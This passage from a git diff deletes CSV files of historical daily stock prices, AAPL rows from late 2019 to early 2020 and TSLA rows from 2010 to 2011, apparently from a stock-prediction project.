-2019-09-18,221.05999755859375,222.85000610351562,219.44000244140625,222.77000427246094,222.1031951904297,25340000.0,AAPL -2019-09-19,222.00999450683594,223.75999450683594,220.3699951171875,220.9600067138672,220.29861450195312,22060600.0,AAPL -2019-09-20,221.3800048828125,222.55999755859375,217.47000122070312,217.72999572753906,217.07826232910156,55413100.0,AAPL -2019-09-23,218.9499969482422,219.83999633789062,217.64999389648438,218.72000122070312,218.0653076171875,19165500.0,AAPL -2019-09-24,221.02999877929688,222.49000549316406,217.19000244140625,217.67999267578125,217.02841186523438,31190800.0,AAPL -2019-09-25,218.5500030517578,221.5,217.13999938964844,221.02999877929688,220.36839294433594,21903400.0,AAPL -2019-09-26,220.0,220.94000244140625,218.8300018310547,219.88999938964844,219.2318115234375,18833500.0,AAPL -2019-09-27,220.5399932861328,220.9600067138672,217.27999877929688,218.82000732421875,218.16502380371094,25352000.0,AAPL -2019-09-30,220.89999389648438,224.5800018310547,220.7899932861328,223.97000122070312,223.29959106445312,25977400.0,AAPL -2019-10-01,225.07000732421875,228.22000122070312,224.1999969482422,224.58999633789062,223.91773986816406,34805800.0,AAPL -2019-10-02,223.05999755859375,223.5800018310547,217.92999267578125,218.9600067138672,218.30459594726562,34612300.0,AAPL -2019-10-03,218.42999267578125,220.9600067138672,215.1300048828125,220.82000732421875,220.15902709960938,28606500.0,AAPL -2019-10-04,225.63999938964844,227.49000549316406,223.88999938964844,227.00999450683594,226.3304901123047,34619700.0,AAPL -2019-10-07,226.27000427246094,229.92999267578125,225.83999633789062,227.05999755859375,226.38034057617188,30576500.0,AAPL -2019-10-08,225.82000732421875,228.05999755859375,224.3300018310547,224.39999389648438,223.72830200195312,27955000.0,AAPL -2019-10-09,227.02999877929688,227.7899932861328,225.63999938964844,227.02999877929688,226.35043334960938,18692600.0,AAPL -2019-10-10,227.92999267578125,230.44000244140625,227.3000030517578,230.08999633789062,229.40127563476562,28253400.0,AAPL -2019-10-11,232.9499969482422,237.63999938964844,232.30999755859375,236.2100067138672,235.50296020507812,41698900.0,AAPL -2019-10-14,234.89999389648438,238.1300048828125,234.6699981689453,235.8699951171875,235.16397094726562,24106900.0,AAPL -2019-10-15,236.38999938964844,237.64999389648438,234.8800048828125,235.32000732421875,234.61563110351562,21840000.0,AAPL -2019-10-16,233.3699951171875,235.24000549316406,233.1999969482422,234.3699951171875,233.66845703125,18475800.0,AAPL -2019-10-17,235.08999633789062,236.14999389648438,233.52000427246094,235.27999877929688,234.57574462890625,16896300.0,AAPL -2019-10-18,234.58999633789062,237.5800018310547,234.2899932861328,236.41000366210938,235.70236206054688,24358400.0,AAPL -2019-10-21,237.52000427246094,240.99000549316406,237.32000732421875,240.50999450683594,239.7900848388672,21811800.0,AAPL -2019-10-22,241.16000366210938,242.1999969482422,239.6199951171875,239.9600067138672,239.2417449951172,20573400.0,AAPL -2019-10-23,242.10000610351562,243.24000549316406,241.22000122070312,243.17999267578125,242.45208740234375,18957200.0,AAPL -2019-10-24,244.50999450683594,244.8000030517578,241.80999755859375,243.5800018310547,242.85089111328125,17318800.0,AAPL -2019-10-25,243.16000366210938,246.72999572753906,242.8800048828125,246.5800018310547,245.8419189453125,18369300.0,AAPL -2019-10-28,247.4199981689453,249.25,246.72000122070312,249.0500030517578,248.3045196533203,24143200.0,AAPL -2019-10-29,248.97000122070312,249.75,242.57000732421875,243.2899932861328,242.56175231933594,35709900.0,AAPL -2019-10-30,244.75999450683594,245.3000030517578,241.2100067138672,243.25999450683594,242.53184509277344,31130500.0,AAPL -2019-10-31,247.24000549316406,249.1699981689453,237.25999450683594,248.75999450683594,248.015380859375,34790500.0,AAPL -2019-11-01,249.5399932861328,255.92999267578125,249.16000366210938,255.82000732421875,255.05426025390625,37781300.0,AAPL -2019-11-04,257.3299865722656,257.8500061035156,255.3800048828125,257.5,256.7292175292969,25818000.0,AAPL -2019-11-05,257.04998779296875,258.19000244140625,256.32000732421875,257.1300048828125,256.3603515625,19974400.0,AAPL -2019-11-06,256.7699890136719,257.489990234375,255.3699951171875,257.239990234375,256.4700012207031,18966100.0,AAPL -2019-11-07,258.739990234375,260.3500061035156,258.1099853515625,259.42999267578125,259.42999267578125,23735100.0,AAPL -2019-11-08,258.69000244140625,260.44000244140625,256.8500061035156,260.1400146484375,260.1400146484375,17496600.0,AAPL -2019-11-11,258.29998779296875,262.4700012207031,258.2799987792969,262.20001220703125,262.20001220703125,20455300.0,AAPL -2019-11-12,261.54998779296875,262.7900085449219,260.9200134277344,261.9599914550781,261.9599914550781,21847200.0,AAPL -2019-11-13,261.1300048828125,264.7799987792969,261.07000732421875,264.4700012207031,264.4700012207031,25683600.0,AAPL -2019-11-14,263.75,264.8800048828125,262.1000061035156,262.6400146484375,262.6400146484375,22295700.0,AAPL -2019-11-15,263.67999267578125,265.7799987792969,263.010009765625,265.760009765625,265.760009765625,25051600.0,AAPL -2019-11-18,265.79998779296875,267.42999267578125,264.2300109863281,267.1000061035156,267.1000061035156,21675800.0,AAPL -2019-11-19,267.8999938964844,268.0,265.3900146484375,266.2900085449219,266.2900085449219,19041800.0,AAPL -2019-11-20,265.5400085449219,266.0799865722656,260.3999938964844,263.19000244140625,263.19000244140625,26558600.0,AAPL -2019-11-21,263.69000244140625,264.010009765625,261.17999267578125,262.010009765625,262.010009765625,30348800.0,AAPL -2019-11-22,262.5899963378906,263.17999267578125,260.8399963378906,261.7799987792969,261.7799987792969,16331300.0,AAPL -2019-11-25,262.7099914550781,266.44000244140625,262.5199890136719,266.3699951171875,266.3699951171875,21005100.0,AAPL -2019-11-26,266.94000244140625,267.1600036621094,262.5,264.2900085449219,264.2900085449219,26301900.0,AAPL -2019-11-27,265.5799865722656,267.9800109863281,265.30999755859375,267.8399963378906,267.8399963378906,16308900.0,AAPL -2019-11-29,266.6000061035156,268.0,265.8999938964844,267.25,267.25,11654400.0,AAPL -2019-12-02,267.2699890136719,268.25,263.45001220703125,264.1600036621094,264.1600036621094,23621800.0,AAPL -2019-12-03,258.30999755859375,259.5299987792969,256.2900085449219,259.45001220703125,259.45001220703125,28607600.0,AAPL -2019-12-04,261.07000732421875,263.30999755859375,260.67999267578125,261.739990234375,261.739990234375,16795400.0,AAPL -2019-12-05,263.7900085449219,265.8900146484375,262.7300109863281,265.5799865722656,265.5799865722656,18606100.0,AAPL -2019-12-06,267.4800109863281,271.0,267.29998779296875,270.7099914550781,270.7099914550781,26518900.0,AAPL -2019-12-09,270.0,270.79998779296875,264.9100036621094,266.9200134277344,266.9200134277344,32010600.0,AAPL -2019-12-10,268.6000061035156,270.07000732421875,265.8599853515625,268.4800109863281,268.4800109863281,22605100.0,AAPL -2019-12-11,268.80999755859375,271.1000061035156,268.5,270.7699890136719,270.7699890136719,19689200.0,AAPL -2019-12-12,267.7799987792969,272.55999755859375,267.32000732421875,271.4599914550781,271.4599914550781,34327600.0,AAPL -2019-12-13,271.4599914550781,275.29998779296875,270.92999267578125,275.1499938964844,275.1499938964844,33396900.0,AAPL -2019-12-16,277.0,280.7900085449219,276.9800109863281,279.8599853515625,279.8599853515625,32046500.0,AAPL -2019-12-17,279.57000732421875,281.7699890136719,278.79998779296875,280.4100036621094,280.4100036621094,28539600.0,AAPL -2019-12-18,279.79998779296875,281.8999938964844,279.1199951171875,279.739990234375,279.739990234375,29007100.0,AAPL -2019-12-19,279.5,281.17999267578125,278.95001220703125,280.0199890136719,280.0199890136719,24592300.0,AAPL -2019-12-20,282.2300109863281,282.6499938964844,278.55999755859375,279.44000244140625,279.44000244140625,68994500.0,AAPL -2019-12-23,280.5299987792969,284.25,280.3699951171875,284.0,284.0,24643000.0,AAPL -2019-12-24,284.69000244140625,284.8900146484375,282.9200134277344,284.2699890136719,284.2699890136719,12119700.0,AAPL -2019-12-26,284.82000732421875,289.9800109863281,284.70001220703125,289.9100036621094,289.9100036621094,23280300.0,AAPL -2019-12-27,291.1199951171875,293.9700012207031,288.1199951171875,289.79998779296875,289.79998779296875,36566500.0,AAPL -2019-12-30,289.4599914550781,292.69000244140625,285.2200012207031,291.5199890136719,291.5199890136719,36028600.0,AAPL -2019-12-31,289.92999267578125,293.67999267578125,289.5199890136719,293.6499938964844,293.6499938964844,25201400.0,AAPL -2020-01-02,296.239990234375,300.6000061035156,295.19000244140625,300.3500061035156,300.3500061035156,33870100.0,AAPL -2020-01-03,297.1499938964844,300.5799865722656,296.5,297.42999267578125,297.42999267578125,36580700.0,AAPL -2020-01-06,293.7900085449219,299.9599914550781,292.75,299.79998779296875,299.79998779296875,29596800.0,AAPL -2020-01-07,299.8399963378906,300.8999938964844,297.4800109863281,298.3900146484375,298.3900146484375,27218000.0,AAPL diff --git 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b/machine-learning/stock-prediction/data/TSLA_2020-01-08.csv deleted file mode 100644 index 7d467d64..00000000 --- a/machine-learning/stock-prediction/data/TSLA_2020-01-08.csv +++ /dev/null @@ -1,2400 +0,0 @@ -,open,high,low,close,adjclose,volume,ticker -2010-06-29,19.0,25.0,17.540000915527344,23.889999389648438,23.889999389648438,18766300,TSLA -2010-06-30,25.790000915527344,30.420000076293945,23.299999237060547,23.829999923706055,23.829999923706055,17187100,TSLA -2010-07-01,25.0,25.920000076293945,20.270000457763672,21.959999084472656,21.959999084472656,8218800,TSLA -2010-07-02,23.0,23.100000381469727,18.709999084472656,19.200000762939453,19.200000762939453,5139800,TSLA -2010-07-06,20.0,20.0,15.829999923706055,16.110000610351562,16.110000610351562,6866900,TSLA -2010-07-07,16.399999618530273,16.6299991607666,14.979999542236328,15.800000190734863,15.800000190734863,6921700,TSLA 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-2010-08-02,20.5,20.969999313354492,20.329999923706055,20.920000076293945,20.920000076293945,718100,TSLA -2010-08-03,21.0,21.950000762939453,20.81999969482422,21.950000762939453,21.950000762939453,1230500,TSLA -2010-08-04,21.950000762939453,22.18000030517578,20.850000381469727,21.260000228881836,21.260000228881836,913000,TSLA -2010-08-05,21.540000915527344,21.549999237060547,20.049999237060547,20.450000762939453,20.450000762939453,796200,TSLA -2010-08-06,20.100000381469727,20.15999984741211,19.520000457763672,19.59000015258789,19.59000015258789,741900,TSLA -2010-08-09,19.899999618530273,19.979999542236328,19.450000762939453,19.600000381469727,19.600000381469727,812700,TSLA -2010-08-10,19.649999618530273,19.649999618530273,18.81999969482422,19.030000686645508,19.030000686645508,1281300,TSLA -2010-08-11,18.690000534057617,18.8799991607666,17.850000381469727,17.899999618530273,17.899999618530273,797600,TSLA -2010-08-12,17.799999237060547,17.899999618530273,17.389999389648438,17.600000381469727,17.600000381469727,691000,TSLA -2010-08-13,18.18000030517578,18.450000762939453,17.65999984741211,18.31999969482422,18.31999969482422,634000,TSLA -2010-08-16,18.450000762939453,18.799999237060547,18.260000228881836,18.780000686645508,18.780000686645508,485800,TSLA -2010-08-17,18.959999084472656,19.399999618530273,18.780000686645508,19.149999618530273,19.149999618530273,447900,TSLA -2010-08-18,19.59000015258789,19.59000015258789,18.600000381469727,18.770000457763672,18.770000457763672,601300,TSLA -2010-08-19,18.540000915527344,19.25,18.329999923706055,18.790000915527344,18.790000915527344,579100,TSLA -2010-08-20,18.649999618530273,19.110000610351562,18.510000228881836,19.100000381469727,19.100000381469727,296000,TSLA -2010-08-23,19.09000015258789,20.389999389648438,19.0,20.1299991607666,20.1299991607666,1088100,TSLA -2010-08-24,19.25,19.709999084472656,18.950000762939453,19.200000762939453,19.200000762939453,673100,TSLA -2010-08-25,19.15999984741211,19.979999542236328,18.559999465942383,19.899999618530273,19.899999618530273,503300,TSLA -2010-08-26,19.889999389648438,20.270000457763672,19.600000381469727,19.75,19.75,433800,TSLA -2010-08-27,19.75,19.8700008392334,19.5,19.700000762939453,19.700000762939453,379600,TSLA -2010-08-30,19.700000762939453,20.190000534057617,19.610000610351562,19.8700008392334,19.8700008392334,732800,TSLA -2010-08-31,19.65999984741211,19.790000915527344,19.329999923706055,19.479999542236328,19.479999542236328,201100,TSLA -2010-09-01,19.6200008392334,20.690000534057617,19.600000381469727,20.450000762939453,20.450000762939453,494900,TSLA -2010-09-02,20.3700008392334,21.239999771118164,20.309999465942383,21.059999465942383,21.059999465942383,487100,TSLA -2010-09-03,20.8700008392334,21.299999237060547,20.65999984741211,21.049999237060547,21.049999237060547,434600,TSLA -2010-09-07,20.610000610351562,21.0,20.5,20.540000915527344,20.540000915527344,243400,TSLA -2010-09-08,20.65999984741211,20.950000762939453,20.600000381469727,20.899999618530273,20.899999618530273,288400,TSLA -2010-09-09,21.0,21.049999237060547,20.690000534057617,20.709999084472656,20.709999084472656,376200,TSLA -2010-09-10,20.75,20.93000030517578,19.760000228881836,20.170000076293945,20.170000076293945,386600,TSLA -2010-09-13,20.889999389648438,20.899999618530273,20.5,20.719999313354492,20.719999313354492,360800,TSLA -2010-09-14,20.540000915527344,21.600000381469727,20.530000686645508,21.1200008392334,21.1200008392334,654700,TSLA -2010-09-15,20.979999542236328,22.0,20.790000915527344,21.979999542236328,21.979999542236328,684600,TSLA -2010-09-16,22.149999618530273,23.15999984741211,20.84000015258789,20.940000534057617,20.940000534057617,2684500,TSLA -2010-09-17,21.020000457763672,21.31999969482422,19.799999237060547,20.229999542236328,20.229999542236328,1198500,TSLA -2010-09-20,20.670000076293945,21.350000381469727,20.15999984741211,21.059999465942383,21.059999465942383,947500,TSLA -2010-09-21,20.889999389648438,21.549999237060547,20.670000076293945,20.770000457763672,20.770000457763672,796000,TSLA -2010-09-22,20.8700008392334,20.950000762939453,19.799999237060547,19.8700008392334,19.8700008392334,962900,TSLA -2010-09-23,19.889999389648438,20.139999389648438,19.5,19.559999465942383,19.559999465942383,668100,TSLA -2010-09-24,19.950000762939453,20.190000534057617,19.649999618530273,20.100000381469727,20.100000381469727,578900,TSLA -2010-09-27,20.399999618530273,20.809999465942383,20.049999237060547,20.530000686645508,20.530000686645508,418600,TSLA -2010-09-28,21.040000915527344,21.489999771118164,20.760000228881836,21.399999618530273,21.399999618530273,1214500,TSLA -2010-09-29,21.190000534057617,22.030000686645508,21.1299991607666,21.979999542236328,21.979999542236328,1969300,TSLA -2010-09-30,22.0,22.149999618530273,20.190000534057617,20.40999984741211,20.40999984741211,2195800,TSLA -2010-10-01,20.690000534057617,20.75,20.309999465942383,20.600000381469727,20.600000381469727,597700,TSLA -2010-10-04,20.43000030517578,21.170000076293945,20.299999237060547,20.989999771118164,20.989999771118164,643600,TSLA -2010-10-05,21.149999618530273,21.280000686645508,21.010000228881836,21.1200008392334,21.1200008392334,332000,TSLA -2010-10-06,21.059999465942383,21.260000228881836,20.31999969482422,20.459999084472656,20.459999084472656,313400,TSLA -2010-10-07,20.56999969482422,20.639999389648438,20.34000015258789,20.43000030517578,20.43000030517578,141000,TSLA -2010-10-08,20.43000030517578,20.790000915527344,20.389999389648438,20.43000030517578,20.43000030517578,267800,TSLA -2010-10-11,20.440000534057617,20.700000762939453,20.06999969482422,20.239999771118164,20.239999771118164,171200,TSLA -2010-10-12,20.200000762939453,20.280000686645508,20.030000686645508,20.239999771118164,20.239999771118164,244000,TSLA -2010-10-13,20.639999389648438,20.850000381469727,20.360000610351562,20.540000915527344,20.540000915527344,318200,TSLA -2010-10-14,21.0,21.030000686645508,20.399999618530273,20.75,20.75,294800,TSLA -2010-10-15,20.889999389648438,20.899999618530273,20.25,20.540000915527344,20.540000915527344,284700,TSLA -2010-10-18,20.520000457763672,20.639999389648438,20.219999313354492,20.229999542236328,20.229999542236328,162800,TSLA -2010-10-19,20.200000762939453,20.40999984741211,20.0,20.049999237060547,20.049999237060547,245200,TSLA -2010-10-20,20.15999984741211,20.690000534057617,20.040000915527344,20.649999618530273,20.649999618530273,312500,TSLA -2010-10-21,20.610000610351562,20.950000762939453,20.450000762939453,20.75,20.75,417100,TSLA -2010-10-22,20.68000030517578,20.93000030517578,20.549999237060547,20.719999313354492,20.719999313354492,161100,TSLA -2010-10-25,20.940000534057617,20.979999542236328,20.729999542236328,20.850000381469727,20.850000381469727,118500,TSLA -2010-10-26,20.799999237060547,21.8700008392334,20.510000228881836,21.360000610351562,21.360000610351562,660900,TSLA -2010-10-27,21.25,21.3799991607666,20.649999618530273,21.0,21.0,356500,TSLA -2010-10-28,21.389999389648438,21.5,20.959999084472656,21.190000534057617,21.190000534057617,224200,TSLA -2010-10-29,21.139999389648438,21.850000381469727,21.049999237060547,21.84000015258789,21.84000015258789,280600,TSLA -2010-11-01,21.940000534057617,22.75,21.309999465942383,21.40999984741211,21.40999984741211,455800,TSLA -2010-11-02,21.68000030517578,21.8799991607666,21.049999237060547,21.25,21.25,322500,TSLA -2010-11-03,21.280000686645508,22.5,21.15999984741211,21.770000457763672,21.770000457763672,372600,TSLA -2010-11-04,22.600000381469727,25.329999923706055,22.149999618530273,24.899999618530273,24.899999618530273,1874000,TSLA -2010-11-05,24.8700008392334,24.969999313354492,23.719999313354492,24.440000534057617,24.440000534057617,1011000,TSLA -2010-11-08,24.5,25.0,24.030000686645508,24.979999542236328,24.979999542236328,509500,TSLA -2010-11-09,25.0,25.690000534057617,24.049999237060547,24.6299991607666,24.6299991607666,956400,TSLA -2010-11-10,24.479999542236328,29.969999313354492,24.049999237060547,29.360000610351562,29.360000610351562,3060500,TSLA -2010-11-11,28.600000381469727,29.100000381469727,27.329999923706055,28.040000915527344,28.040000915527344,1945300,TSLA -2010-11-12,28.25,30.5,28.06999969482422,29.84000015258789,29.84000015258789,2729100,TSLA -2010-11-15,30.219999313354492,32.939998626708984,30.219999313354492,30.799999237060547,30.799999237060547,2622900,TSLA -2010-11-16,31.0,31.399999618530273,28.420000076293945,29.670000076293945,29.670000076293945,1347600,TSLA -2010-11-17,30.200000762939453,30.75,28.610000610351562,29.489999771118164,29.489999771118164,750000,TSLA -2010-11-18,30.670000076293945,30.739999771118164,28.920000076293945,29.889999389648438,29.889999389648438,956100,TSLA -2010-11-19,30.15999984741211,31.3700008392334,29.700000762939453,30.989999771118164,30.989999771118164,1150500,TSLA -2010-11-22,31.56999969482422,33.45000076293945,31.5,33.400001525878906,33.400001525878906,1529700,TSLA -2010-11-23,33.290000915527344,35.68000030517578,32.189998626708984,34.56999969482422,34.56999969482422,1577800,TSLA -2010-11-24,35.27000045776367,35.970001220703125,34.33000183105469,35.470001220703125,35.470001220703125,1425000,TSLA -2010-11-26,35.599998474121094,36.0,34.75,35.31999969482422,35.31999969482422,350600,TSLA -2010-11-29,35.40999984741211,35.95000076293945,33.33000183105469,34.33000183105469,34.33000183105469,1145600,TSLA -2010-11-30,33.7400016784668,35.33000183105469,33.40999984741211,35.33000183105469,35.33000183105469,2222600,TSLA -2010-12-01,35.869998931884766,36.41999816894531,33.45000076293945,34.349998474121094,34.349998474121094,1299200,TSLA -2010-12-02,34.0099983215332,34.29999923706055,31.200000762939453,32.349998474121094,32.349998474121094,2007000,TSLA -2010-12-03,32.0099983215332,32.25,30.8700008392334,31.489999771118164,31.489999771118164,1160100,TSLA -2010-12-06,31.350000381469727,31.450000762939453,29.559999465942383,30.309999465942383,30.309999465942383,1274400,TSLA -2010-12-07,30.489999771118164,32.400001525878906,30.049999237060547,31.559999465942383,31.559999465942383,1311300,TSLA -2010-12-08,32.47999954223633,32.4900016784668,31.520000457763672,32.369998931884766,32.369998931884766,660000,TSLA -2010-12-09,32.5099983215332,32.720001220703125,31.649999618530273,32.04999923706055,32.04999923706055,406000,TSLA -2010-12-10,32.04999923706055,32.91999816894531,31.1299991607666,31.520000457763672,31.520000457763672,429400,TSLA -2010-12-13,31.639999389648438,31.770000457763672,30.399999618530273,30.549999237060547,30.549999237060547,410400,TSLA -2010-12-14,30.290000915527344,30.389999389648438,27.760000228881836,28.530000686645508,28.530000686645508,1765700,TSLA -2010-12-15,28.670000076293945,29.969999313354492,28.530000686645508,29.600000381469727,29.600000381469727,742900,TSLA -2010-12-16,30.0,30.90999984741211,29.649999618530273,30.809999465942383,30.809999465942383,790100,TSLA -2010-12-17,31.34000015258789,31.540000915527344,30.709999084472656,31.360000610351562,31.360000610351562,813000,TSLA -2010-12-20,31.639999389648438,32.189998626708984,31.260000228881836,31.700000762939453,31.700000762939453,523400,TSLA -2010-12-21,31.799999237060547,32.689998626708984,31.709999084472656,32.2599983215332,32.2599983215332,777700,TSLA -2010-12-22,32.25,32.86000061035156,31.700000762939453,32.630001068115234,32.630001068115234,833300,TSLA -2010-12-23,31.260000228881836,32.47999954223633,29.920000076293945,30.09000015258789,30.09000015258789,1552600,TSLA -2010-12-27,28.020000457763672,28.579999923706055,25.059999465942383,25.549999237060547,25.549999237060547,9301900,TSLA -2010-12-28,25.850000381469727,26.75,25.0,26.40999984741211,26.40999984741211,4056300,TSLA -2010-12-29,27.030000686645508,28.010000228881836,26.5,27.729999542236328,27.729999542236328,3319200,TSLA -2010-12-30,27.700000762939453,27.899999618530273,26.3799991607666,26.5,26.5,2041100,TSLA -2010-12-31,26.56999969482422,27.25,26.5,26.6299991607666,26.6299991607666,1417900,TSLA -2011-01-03,26.84000015258789,27.0,25.899999618530273,26.6200008392334,26.6200008392334,1283000,TSLA -2011-01-04,26.65999984741211,26.950000762939453,26.020000457763672,26.670000076293945,26.670000076293945,1187400,TSLA -2011-01-05,26.479999542236328,26.899999618530273,26.190000534057617,26.829999923706055,26.829999923706055,1446700,TSLA -2011-01-06,26.829999923706055,28.0,26.809999465942383,27.8799991607666,27.8799991607666,2061200,TSLA -2011-01-07,28.0,28.579999923706055,27.899999618530273,28.239999771118164,28.239999771118164,2247900,TSLA -2011-01-10,28.170000076293945,28.68000030517578,28.049999237060547,28.450000762939453,28.450000762939453,1342700,TSLA -2011-01-11,28.59000015258789,28.709999084472656,26.920000076293945,26.959999084472656,26.959999084472656,1710200,TSLA -2011-01-12,27.010000228881836,27.399999618530273,26.520000457763672,26.959999084472656,26.959999084472656,964400,TSLA -2011-01-13,26.959999084472656,26.969999313354492,26.15999984741211,26.219999313354492,26.219999313354492,723600,TSLA -2011-01-14,26.149999618530273,26.579999923706055,25.610000610351562,25.75,25.75,1192000,TSLA -2011-01-18,25.479999542236328,25.639999389648438,24.75,25.639999389648438,25.639999389648438,1621700,TSLA -2011-01-19,25.270000457763672,25.469999313354492,23.75,24.030000686645508,24.030000686645508,2371500,TSLA -2011-01-20,24.030000686645508,24.450000762939453,22.3700008392334,22.6200008392334,22.6200008392334,2279900,TSLA -2011-01-21,23.1200008392334,23.59000015258789,22.709999084472656,23.040000915527344,23.040000915527344,1217000,TSLA -2011-01-24,23.530000686645508,24.809999465942383,23.229999542236328,24.489999771118164,24.489999771118164,1645100,TSLA -2011-01-25,24.649999618530273,24.889999389648438,24.020000457763672,24.68000030517578,24.68000030517578,1271500,TSLA -2011-01-26,24.709999084472656,24.8799991607666,24.100000381469727,24.75,24.75,1079900,TSLA -2011-01-27,24.739999771118164,25.079999923706055,24.530000686645508,24.920000076293945,24.920000076293945,895700,TSLA -2011-01-28,24.8799991607666,24.8799991607666,23.75,24.010000228881836,24.010000228881836,1048400,TSLA -2011-01-31,24.049999237060547,24.1200008392334,23.5,24.100000381469727,24.100000381469727,830300,TSLA -2011-02-01,24.309999465942383,24.729999542236328,23.540000915527344,23.90999984741211,23.90999984741211,707800,TSLA -2011-02-02,24.15999984741211,24.18000030517578,23.670000076293945,23.940000534057617,23.940000534057617,569500,TSLA -2011-02-03,23.81999969482422,23.899999618530273,23.149999618530273,23.6299991607666,23.6299991607666,512000,TSLA -2011-02-04,23.440000534057617,23.670000076293945,23.219999313354492,23.459999084472656,23.459999084472656,544000,TSLA -2011-02-07,23.260000228881836,23.260000228881836,22.8799991607666,23.06999969482422,23.06999969482422,895100,TSLA -2011-02-08,23.780000686645508,25.25,23.0,24.489999771118164,24.489999771118164,3504900,TSLA -2011-02-09,24.1299991607666,24.18000030517578,22.790000915527344,23.209999084472656,23.209999084472656,2635600,TSLA -2011-02-10,23.260000228881836,23.639999389648438,22.809999465942383,23.219999313354492,23.219999313354492,836100,TSLA -2011-02-11,23.25,23.75,22.940000534057617,23.25,23.25,634500,TSLA -2011-02-14,23.639999389648438,24.139999389648438,23.049999237060547,23.079999923706055,23.079999923706055,1283100,TSLA -2011-02-15,23.010000228881836,23.170000076293945,22.559999465942383,22.84000015258789,22.84000015258789,953700,TSLA -2011-02-16,23.100000381469727,24.969999313354492,23.06999969482422,24.729999542236328,24.729999542236328,4115100,TSLA -2011-02-17,24.6299991607666,25.489999771118164,23.549999237060547,23.600000381469727,23.600000381469727,2618400,TSLA -2011-02-18,23.329999923706055,23.489999771118164,22.959999084472656,23.18000030517578,23.18000030517578,2370700,TSLA -2011-02-22,22.8799991607666,23.0,21.780000686645508,21.8700008392334,21.8700008392334,2064600,TSLA -2011-02-23,22.18000030517578,22.5,21.110000610351562,21.829999923706055,21.829999923706055,1605600,TSLA -2011-02-24,21.780000686645508,22.579999923706055,21.5,22.530000686645508,22.530000686645508,1055300,TSLA -2011-02-25,22.809999465942383,23.850000381469727,22.690000534057617,23.610000610351562,23.610000610351562,1346300,TSLA -2011-02-28,23.739999771118164,24.100000381469727,23.5,23.889999389648438,23.889999389648438,1051200,TSLA -2011-03-01,24.049999237060547,24.31999969482422,23.700000762939453,23.940000534057617,23.940000534057617,1106400,TSLA -2011-03-02,23.81999969482422,24.280000686645508,23.729999542236328,24.020000457763672,24.020000457763672,663300,TSLA -2011-03-03,24.479999542236328,24.790000915527344,24.059999465942383,24.360000610351562,24.360000610351562,640200,TSLA -2011-03-04,24.479999542236328,24.989999771118164,23.780000686645508,24.950000762939453,24.950000762939453,1580100,TSLA -2011-03-07,24.93000030517578,25.399999618530273,24.700000762939453,24.940000534057617,24.940000534057617,2033600,TSLA -2011-03-08,24.600000381469727,24.959999084472656,24.0,24.65999984741211,24.65999984741211,1399900,TSLA -2011-03-09,24.65999984741211,24.989999771118164,24.270000457763672,24.719999313354492,24.719999313354492,924800,TSLA -2011-03-10,24.440000534057617,24.489999771118164,23.729999542236328,24.010000228881836,24.010000228881836,1017000,TSLA -2011-03-11,23.850000381469727,24.25,23.530000686645508,24.06999969482422,24.06999969482422,930800,TSLA -2011-03-14,23.81999969482422,24.0,23.200000762939453,23.25,23.25,1166000,TSLA -2011-03-15,22.200000762939453,22.959999084472656,21.799999237060547,22.950000762939453,22.950000762939453,1318800,TSLA -2011-03-16,22.860000610351562,23.25,22.690000534057617,22.81999969482422,22.81999969482422,1169700,TSLA -2011-03-17,23.239999771118164,23.43000030517578,22.639999389648438,22.809999465942383,22.809999465942383,922600,TSLA -2011-03-18,23.190000534057617,23.190000534057617,22.510000228881836,22.959999084472656,22.959999084472656,687900,TSLA -2011-03-21,23.049999237060547,23.049999237060547,22.540000915527344,22.729999542236328,22.729999542236328,411700,TSLA -2011-03-22,22.729999542236328,22.860000610351562,22.0,22.190000534057617,22.190000534057617,582900,TSLA -2011-03-23,22.110000610351562,22.270000457763672,21.770000457763672,22.209999084472656,22.209999084472656,422800,TSLA -2011-03-24,22.139999389648438,22.3799991607666,21.979999542236328,22.329999923706055,22.329999923706055,462200,TSLA -2011-03-25,22.43000030517578,23.0,22.399999618530273,22.75,22.75,568000,TSLA -2011-03-28,22.700000762939453,23.540000915527344,22.549999237060547,23.25,23.25,1058100,TSLA -2011-03-29,23.299999237060547,24.0,23.209999084472656,23.920000076293945,23.920000076293945,755400,TSLA -2011-03-30,24.110000610351562,24.489999771118164,23.010000228881836,23.709999084472656,23.709999084472656,1223300,TSLA -2011-03-31,26.549999237060547,28.709999084472656,26.5,27.75,27.75,11517800,TSLA -2011-04-01,27.450000762939453,28.18000030517578,26.56999969482422,26.65999984741211,26.65999984741211,2864800,TSLA -2011-04-04,26.829999923706055,27.0,25.229999542236328,25.829999923706055,25.829999923706055,2609300,TSLA -2011-04-05,25.899999618530273,27.0,25.690000534057617,26.700000762939453,26.700000762939453,3180900,TSLA -2011-04-06,26.989999771118164,27.010000228881836,25.799999237060547,26.489999771118164,26.489999771118164,1288300,TSLA -2011-04-07,26.850000381469727,27.940000534057617,26.450000762939453,27.239999771118164,27.239999771118164,2810300,TSLA -2011-04-08,27.579999923706055,27.600000381469727,26.360000610351562,26.489999771118164,26.489999771118164,1946400,TSLA -2011-04-11,26.469999313354492,26.530000686645508,25.020000457763672,25.270000457763672,25.270000457763672,1369400,TSLA -2011-04-12,25.079999923706055,25.209999084472656,24.299999237060547,24.649999618530273,24.649999618530273,1357400,TSLA -2011-04-13,25.1299991607666,25.690000534057617,24.809999465942383,24.93000030517578,24.93000030517578,1211500,TSLA -2011-04-14,24.8700008392334,25.280000686645508,24.200000762939453,25.139999389648438,25.139999389648438,983400,TSLA -2011-04-15,25.649999618530273,26.18000030517578,25.40999984741211,25.579999923706055,25.579999923706055,943500,TSLA -2011-04-18,25.1299991607666,25.6200008392334,24.360000610351562,25.030000686645508,25.030000686645508,1033900,TSLA -2011-04-19,25.260000228881836,25.260000228881836,24.649999618530273,25.15999984741211,25.15999984741211,548700,TSLA -2011-04-20,25.700000762939453,26.09000015258789,25.299999237060547,25.75,25.75,837200,TSLA -2011-04-21,25.850000381469727,26.979999542236328,25.59000015258789,26.739999771118164,26.739999771118164,1386100,TSLA -2011-04-25,26.700000762939453,26.729999542236328,25.969999313354492,26.389999389648438,26.389999389648438,800900,TSLA -2011-04-26,26.65999984741211,27.25,26.309999465942383,26.93000030517578,26.93000030517578,1400000,TSLA -2011-04-27,26.93000030517578,27.360000610351562,26.6299991607666,27.079999923706055,27.079999923706055,996900,TSLA -2011-04-28,27.06999969482422,27.690000534057617,26.719999313354492,27.65999984741211,27.65999984741211,1600000,TSLA -2011-04-29,27.690000534057617,27.8700008392334,27.420000076293945,27.600000381469727,27.600000381469727,726000,TSLA -2011-05-02,27.600000381469727,27.799999237060547,27.059999465942383,27.450000762939453,27.450000762939453,784600,TSLA 